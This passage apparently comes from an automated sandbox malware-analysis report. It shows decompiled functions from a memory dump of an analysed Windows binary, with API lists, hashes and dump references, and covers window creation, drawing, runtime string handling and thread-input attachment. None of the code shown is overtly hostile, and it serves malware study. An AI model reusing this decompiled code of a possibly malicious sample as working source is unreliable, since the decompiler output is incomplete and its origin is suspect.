				long _t16;
				long _t23;
				struct HINSTANCE__* _t25;
				struct HWND__** _t33;
				struct HWND__* _t34;

				_t16 = _a8;
				_t23 = _a20 | 0x50000000;
				_t33 = _a4;
				if((_t16 & 0x00080000) != 0) {
					_t16 = _t16 & 0xfff7ffff;
				}
				_t25 =  *0x4a842c; // 0x400000
				_t34 = CreateWindowExW(_t16, _a12, _a16, _t23, _a24, _a28, _a32, _a36,  *_t33, _a40, _t25, 0);
				if(_t34 != 0) {
					if(_a44 != 0) {
						SendMessageW(_t34, 0x30, GetStockObject(0x11), 0);
					}
					if(_t33[0x60] >= 0 && _t33[0x63] != 0) {
						ShowWindow(_t34, 0);
					}
				}
				return _t34;
			}








                                                                                                                                                                            0x00433631
                                                                                                                                                                            0x00433636
                                                                                                                                                                            0x0043363d
                                                                                                                                                                            0x00433646
                                                                                                                                                                            0x00433648
                                                                                                                                                                            0x00433648
                                                                                                                                                                            0x0043364d
                                                                                                                                                                            0x00433684
                                                                                                                                                                            0x00433688
                                                                                                                                                                            0x0043368f
                                                                                                                                                                            0x0043369f
                                                                                                                                                                            0x0043369f
                                                                                                                                                                            0x004336ac
                                                                                                                                                                            0x004336ba
                                                                                                                                                                            0x004336ba
                                                                                                                                                                            0x004336ac
                                                                                                                                                                            0x004336c4

                                                                                                                                                                            APIs
                                                                                                                                                                            • CreateWindowExW.USER32(?,?,?,FFFFFFFF,?,?,?,?,?,?,00400000,00000000), ref: 0043367E
                                                                                                                                                                            • GetStockObject.GDI32(00000011), ref: 00433695
                                                                                                                                                                            • SendMessageW.USER32(00000000,00000030,00000000), ref: 0043369F
                                                                                                                                                                            • ShowWindow.USER32(00000000,00000000), ref: 004336BA
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Window$CreateMessageObjectSendShowStock
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1358664141-0
                                                                                                                                                                            • Opcode ID: a78582cd8c915fd270119012ff4eddf0033f410814d91724adacf9cac7d73a6b
                                                                                                                                                                            • Instruction ID: 5bb77caae3378c1c36de35f78993aeb7f53e4fc0e9047450929301c31466c70f
                                                                                                                                                                            • Opcode Fuzzy Hash: a78582cd8c915fd270119012ff4eddf0033f410814d91724adacf9cac7d73a6b
                                                                                                                                                                            • Instruction Fuzzy Hash: 60114F72204A00BFD254DF55CC49F5BB3F9AFCCB01F20950DB254922A0D7B4E9418BA9
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0043401C Relevance: 6.0, APIs: 4, Instructions: 50COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E0043401C(struct HWND__** _a4, struct HWND__** _a8, int _a12) {
				struct tagRECT _v16;
				struct tagPOINT _v24;
				void* _t25;
				struct HWND__** _t49;

				_t49 = _a4;
				if(_t49[0xe] == 0) {
					GetWindowRect( *_a8,  &_v16);
					_v24.x = _v16.left;
					_v24.y = _v16.top;
					ScreenToClient( *_t49,  &_v24);
					_v16.top = _v24.y;
					_v24.x = _v16.right;
					_v16.left = _v24.x;
					_v24.y = _v16.bottom;
					ScreenToClient( *_t49,  &_v24);
					_v16.right = _v24.x;
					_v16.bottom = _v24.y;
					return InvalidateRect( *_t49,  &_v16, _a12);
				}
				return _t25;
			}







                                                                                                                                                                            0x00434020
                                                                                                                                                                            0x00434029
                                                                                                                                                                            0x00434037
                                                                                                                                                                            0x0043404f
                                                                                                                                                                            0x00434057
                                                                                                                                                                            0x0043405b
                                                                                                                                                                            0x00434069
                                                                                                                                                                            0x00434071
                                                                                                                                                                            0x00434077
                                                                                                                                                                            0x00434081
                                                                                                                                                                            0x00434085
                                                                                                                                                                            0x00434093
                                                                                                                                                                            0x0043409c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004340a4
                                                                                                                                                                            0x004340af

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetWindowRect.USER32(?,?), ref: 00434037
                                                                                                                                                                            • ScreenToClient.USER32(?,?), ref: 0043405B
                                                                                                                                                                            • ScreenToClient.USER32(?,?), ref: 00434085
                                                                                                                                                                            • InvalidateRect.USER32(?,?,?), ref: 004340A4
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ClientRectScreen$InvalidateWindow
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 357397906-0
                                                                                                                                                                            • Opcode ID: 751e48bbdad3fa965b56aea51b9fa4e55de6b4169d4940aca7a3583b508516de
                                                                                                                                                                            • Instruction ID: 02545dd0d615a745195cb6f618e51c1f9c2552a202a2369b8695847d2ce6fb2f
                                                                                                                                                                            • Opcode Fuzzy Hash: 751e48bbdad3fa965b56aea51b9fa4e55de6b4169d4940aca7a3583b508516de
                                                                                                                                                                            • Instruction Fuzzy Hash: 24117EB9608302AFC304DF18D98095BBBE9FFD8650F10891EF88993350D770E9498BA2
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00424E33 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E00424E33(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00424724(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E00424814(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E00424D39(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E00424C7E(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}






                                                                                                                                                                            0x00424e38
                                                                                                                                                                            0x00424e3e
                                                                                                                                                                            0x00424eb1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00424e45
                                                                                                                                                                            0x00424e45
                                                                                                                                                                            0x00424e48
                                                                                                                                                                            0x00424e63
                                                                                                                                                                            0x00424e66
                                                                                                                                                                            0x00424e86
                                                                                                                                                                            0x00424e98
                                                                                                                                                                            0x00424e68
                                                                                                                                                                            0x00424e68
                                                                                                                                                                            0x00424e6b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00424e6d
                                                                                                                                                                            0x00424e7f
                                                                                                                                                                            0x00424e7f
                                                                                                                                                                            0x00424e6b
                                                                                                                                                                            0x00424eb6
                                                                                                                                                                            0x00424eba
                                                                                                                                                                            0x00424e4a
                                                                                                                                                                            0x00424e62
                                                                                                                                                                            0x00424e62
                                                                                                                                                                            0x00424e48

                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3016257755-0
                                                                                                                                                                            • Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
                                                                                                                                                                            • Instruction ID: 11ead64bc5c18606fe5fffcedc2bbdf89ccfa4faa7bd693ca83be0ddd2add3a5
                                                                                                                                                                            • Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
                                                                                                                                                                            • Instruction Fuzzy Hash: AA11A272500059BBCF225E85EC018EE3F66FB88354B898416FE2858131C73AC9B1AB85
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00436A1D Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E00436A1D(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				char _v516;
				char _v1032;
				char _v1548;
				char _v2064;
				char _v2072;
				char _v2080;
				void* _t40;

				E00413DB0(_a4,  &_v2072,  &_v516,  &_v1032,  &_v2064);
				_t37 =  &_v2080;
				E00413DB0(_a8,  &_v2080,  &_v1548,  &_v1032,  &_v2064);
				_t40 =  &_v2080 + 0x28;
				if(_v2072 != 0 || _v2080 != 0) {
					return E004115D0(_t37,  &_v2072, _t40) & 0xffffff00 | _t26 != 0x00000000;
				} else {
					return E004115D0( &_v516,  &_v516,  &_v1548) & 0xffffff00 | _t28 != 0x00000000;
				}
			}










                                                                                                                                                                            0x00436a45
                                                                                                                                                                            0x00436a66
                                                                                                                                                                            0x00436a6c
                                                                                                                                                                            0x00436a71
                                                                                                                                                                            0x00436a7a
                                                                                                                                                                            0x00436ac3
                                                                                                                                                                            0x00436a83
                                                                                                                                                                            0x00436aa6
                                                                                                                                                                            0x00436aa6

                                                                                                                                                                            APIs
                                                                                                                                                                            • __wsplitpath.LIBCMT ref: 00436A45
                                                                                                                                                                              • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                                            • __wsplitpath.LIBCMT ref: 00436A6C
                                                                                                                                                                            • __wcsicoll.LIBCMT ref: 00436A93
                                                                                                                                                                            • __wcsicoll.LIBCMT ref: 00436AB0
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __wcsicoll__wsplitpath$__wsplitpath_helper
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1187119602-0
                                                                                                                                                                            • Opcode ID: 5b78189461bd351535feab14c2aa3b28919a840a222a6c91b90152b853837e7b
                                                                                                                                                                            • Instruction ID: cc447ddabc085245cf6c6bda96777749177fc915bba42f20b5b260b799017f3a
                                                                                                                                                                            • Opcode Fuzzy Hash: 5b78189461bd351535feab14c2aa3b28919a840a222a6c91b90152b853837e7b
                                                                                                                                                                            • Instruction Fuzzy Hash: 690165B64043416BD724EB50D881EEBB3ED7BD8304F04C91EB5C982041FB38D24C87A6
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00437AFE Relevance: 6.0, APIs: 4, Instructions: 44COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 84%
                                                                                                                                                                            			E00437AFE(void* __ebx, intOrPtr _a4, intOrPtr _a8) {
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t15;
				void* _t17;
				void* _t26;
				intOrPtr _t41;
				intOrPtr _t43;
				intOrPtr _t44;
				intOrPtr _t47;

				_t44 = _a8;
				_t43 = _a4;
				_t47 =  *((intOrPtr*)(_t43 + 0x10));
				if(_t47 != 0) {
					_t17 = E004112D5( *((intOrPtr*)( *((intOrPtr*)(_t43 + 0xc)))));
					_t5 = _t17 + E004112D5(_t44) + 1; // 0x1
					_t32 =  ~(_t47 > 0) | _t5 * 0x00000002;
					_push( ~(_t47 > 0) | _t5 * 0x00000002);
					_t41 = E0041171A(__ebx, _t17 + E004112D5(_t44), _t32);
					E00411691(_t41,  *((intOrPtr*)( *((intOrPtr*)(_t43 + 0xc)))));
					E00411663(_t41, _t44);
					_t26 = E004112EF(__ebx,  *((intOrPtr*)(_t43 + 0xc)), _t41, _t43, _t32,  *((intOrPtr*)( *((intOrPtr*)(_t43 + 0xc)))));
					 *((intOrPtr*)( *((intOrPtr*)(_t43 + 0xc)))) = _t41;
					return _t26;
				}
				return _t15;
			}













                                                                                                                                                                            0x00437aff
                                                                                                                                                                            0x00437b04
                                                                                                                                                                            0x00437b08
                                                                                                                                                                            0x00437b0c
                                                                                                                                                                            0x00437b15
                                                                                                                                                                            0x00437b26
                                                                                                                                                                            0x00437b35
                                                                                                                                                                            0x00437b37
                                                                                                                                                                            0x00437b3d
                                                                                                                                                                            0x00437b46
                                                                                                                                                                            0x00437b4d
                                                                                                                                                                            0x00437b58
                                                                                                                                                                            0x00437b63
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00437b65
                                                                                                                                                                            0x00437b68

                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _wcslen$_malloc_wcscat_wcscpy
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1597257046-0
                                                                                                                                                                            • Opcode ID: 743c0dc633e49d2c0a899d9bccd392f2acf80b6666e30ba8e89b5a64e6619520
                                                                                                                                                                            • Instruction ID: 9df5ee2dcc5f1a759a9cde70f7b42babd8a8bdcc369222b22224423102f690bd
                                                                                                                                                                            • Opcode Fuzzy Hash: 743c0dc633e49d2c0a899d9bccd392f2acf80b6666e30ba8e89b5a64e6619520
                                                                                                                                                                            • Instruction Fuzzy Hash: BFF06D32200200AFC314EB66C885E6BB3EAEBC5324F04852EF556C7791DB39F841C764
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00447268 Relevance: 6.0, APIs: 4, Instructions: 32COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E00447268(struct HDC__* _a4, signed char _a24) {
				int _v8;
				int _v12;
				int _v16;
				int _v20;
				void* _t9;
				struct HDC__* _t19;

				_t19 = _a4;
				if((_a24 & 0x00000002) != 0) {
					E0044710F(_t19, 0, 0xffffffff, 2, 1);
					MoveToEx(_t19, _v12, _v8, 0);
					LineTo(_t19, _v20, _v16);
					if( *0x4a8494 != 0) {
						EndPath(_t19);
						 *0x4a8494 = 0;
					}
					return StrokePath(_t19);
				}
				return _t9;
			}









                                                                                                                                                                            0x0044726e
                                                                                                                                                                            0x00447272
                                                                                                                                                                            0x0044727d
                                                                                                                                                                            0x0044728f
                                                                                                                                                                            0x004472a0
                                                                                                                                                                            0x004472ad
                                                                                                                                                                            0x004472b0
                                                                                                                                                                            0x004472b6
                                                                                                                                                                            0x004472b6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004472be
                                                                                                                                                                            0x004472c5

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                                              • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                                              • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                                              • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                                              • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                                            • MoveToEx.GDI32(?,?,00000000,00000000), ref: 0044728F
                                                                                                                                                                            • LineTo.GDI32(?,00000000,00000002), ref: 004472A0
                                                                                                                                                                            • EndPath.GDI32(?), ref: 004472B0
                                                                                                                                                                            • StrokePath.GDI32(?), ref: 004472BE
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ObjectPath$Select$BeginCreateDeleteLineMoveStroke
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2783949968-0
                                                                                                                                                                            • Opcode ID: 09270453bc364e96d12f6c3f9be453f1264e71f62e0889bc66601f12e66ee767
                                                                                                                                                                            • Instruction ID: 15f667079dd022c0076d5117e5ffb33549464faf874781034dcdd6a9c0a79bb3
                                                                                                                                                                            • Opcode Fuzzy Hash: 09270453bc364e96d12f6c3f9be453f1264e71f62e0889bc66601f12e66ee767
                                                                                                                                                                            • Instruction Fuzzy Hash: 46F09030109361BFE211DB10DC0AF9F3B98AB46310F10490CF641622D2C7B46845C7BA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00417D0E Relevance: 6.0, APIs: 4, Instructions: 31COMMONLIBRARYCODE
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 90%
                                                                                                                                                                            			E00417D0E(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				void* _t25;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x48ca18);
				E0041718C(__ebx, __edi, __esi);
				_t28 = E00416C72(__ebx, __edi, _t30);
				_t13 =  *0x49085c; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E00418407(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x490940; // 0x490868
					 *((intOrPtr*)(_t29 - 0x1c)) = E00417CD0(_t8, _t25, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E00417D78();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E00416C72(_t22, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E004117AF(_t25, _t26, 0x20);
				}
				return E004171D1(_t28);
			}








                                                                                                                                                                            0x00417d0e
                                                                                                                                                                            0x00417d0e
                                                                                                                                                                            0x00417d0e
                                                                                                                                                                            0x00417d0e
                                                                                                                                                                            0x00417d0e
                                                                                                                                                                            0x00417d10
                                                                                                                                                                            0x00417d15
                                                                                                                                                                            0x00417d1f
                                                                                                                                                                            0x00417d21
                                                                                                                                                                            0x00417d29
                                                                                                                                                                            0x00417d4d
                                                                                                                                                                            0x00417d4f
                                                                                                                                                                            0x00417d55
                                                                                                                                                                            0x00417d59
                                                                                                                                                                            0x00417d5c
                                                                                                                                                                            0x00417d67
                                                                                                                                                                            0x00417d6a
                                                                                                                                                                            0x00417d71
                                                                                                                                                                            0x00417d2b
                                                                                                                                                                            0x00417d2b
                                                                                                                                                                            0x00417d2f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00417d31
                                                                                                                                                                            0x00417d36
                                                                                                                                                                            0x00417d36
                                                                                                                                                                            0x00417d2f
                                                                                                                                                                            0x00417d3b
                                                                                                                                                                            0x00417d3f
                                                                                                                                                                            0x00417d44
                                                                                                                                                                            0x00417d4c

                                                                                                                                                                            APIs
                                                                                                                                                                            • __getptd.LIBCMT ref: 00417D1A
                                                                                                                                                                              • Part of subcall function 00416C72: __getptd_noexit.LIBCMT ref: 00416C75
                                                                                                                                                                              • Part of subcall function 00416C72: __amsg_exit.LIBCMT ref: 00416C82
                                                                                                                                                                            • __getptd.LIBCMT ref: 00417D31
                                                                                                                                                                            • __amsg_exit.LIBCMT ref: 00417D3F
                                                                                                                                                                            • __lock.LIBCMT ref: 00417D4F
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __amsg_exit__getptd$__getptd_noexit__lock
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3521780317-0
                                                                                                                                                                            • Opcode ID: 6e88b35b2b81098ca19d257f076875e832caf49443e3c23eeee739354b537ff9
                                                                                                                                                                            • Instruction ID: 784cd6646040312d8c3929352b57c791f513dbd9ce30c249d09a92555f0e5bc7
                                                                                                                                                                            • Opcode Fuzzy Hash: 6e88b35b2b81098ca19d257f076875e832caf49443e3c23eeee739354b537ff9
                                                                                                                                                                            • Instruction Fuzzy Hash: D4F06D319447089AD720FB66E4067EA32B0AF01728F11856FA4415B7D2DB3C99C08B9E
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004389A1 Relevance: 6.0, APIs: 4, Instructions: 27threadwindowtimeCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 66%
                                                                                                                                                                            			E004389A1(struct HWND__* _a4, long _a8) {
				long _t4;
				long _t8;
				struct HWND__* _t9;

				_t9 = _a4;
				if(_a8 != 1) {
					_push(0);
					L4:
					_t4 = GetWindowThreadProcessId(_t9, 0);
					return AttachThreadInput(GetCurrentThreadId(), _t4, ??);
				}
				_t8 = SendMessageTimeoutW(_t9, 0, 0, 0, 2, 0x1388,  &_a8);
				if(_t8 != 0) {
					_push(1);
					goto L4;
				}
				return _t8;
			}






                                                                                                                                                                            0x004389a7
                                                                                                                                                                            0x004389ab
                                                                                                                                                                            0x004389ce
                                                                                                                                                                            0x004389d0
                                                                                                                                                                            0x004389d3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004389e1
                                                                                                                                                                            0x004389c0
                                                                                                                                                                            0x004389c8
                                                                                                                                                                            0x004389ca
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004389ca
                                                                                                                                                                            0x004389e8

                                                                                                                                                                            APIs
                                                                                                                                                                            • SendMessageTimeoutW.USER32(00000001,00000000,00000000,00000000,00000002,00001388,004848E8), ref: 004389C0
                                                                                                                                                                            • GetWindowThreadProcessId.USER32(00000001,00000000), ref: 004389D3
                                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 004389DA
                                                                                                                                                                            • AttachThreadInput.USER32(00000000), ref: 004389E1
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
